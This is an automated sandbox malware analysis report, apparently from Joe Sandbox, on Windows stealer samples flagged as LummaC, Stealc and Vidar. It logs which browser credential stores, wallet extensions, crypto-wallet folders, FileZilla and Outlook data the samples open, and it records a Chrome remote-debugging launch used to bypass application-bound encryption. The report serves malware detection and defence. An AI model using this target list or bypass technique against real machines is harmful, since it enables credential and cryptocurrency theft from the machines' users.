Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0eb65aaf2f.exe PID: 7308, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 0eb65aaf2f.exe PID: 7308, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000017.00000003.3253234338.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2627096848.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3311695557.0000000000301000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2059366246.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8b4f365c71.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3040, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0C40 sqlite3_bind_zeroblob,	0_2_6C6F0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0D60 sqlite3_bind_parameter_name,	0_2_6C6F0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618EA0 sqlite3_clear_bindings,	0_2_6C618EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6F0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616410 bind,WSAGetLastError,	0_2_6C616410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616070 PR_Listen,	0_2_6C616070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C61C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C030 sqlite3_bind_parameter_count,	0_2_6C61C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6160B0 listen,WSAGetLastError,	0_2_6C6160B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22D0 sqlite3_bind_blob,	0_2_6C5A22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6163C0 PR_Bind,	0_2_6C6163C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ziNGMDa[1].exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	34%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	34%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_image.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_mixer.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_ttf.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libFLAC-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libfreetype-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libjpeg-9.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libmodplug-1.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libmpg123-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libogg-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libopus-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libopusfile-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libpng16-16.dll	0%	ReversingLabs
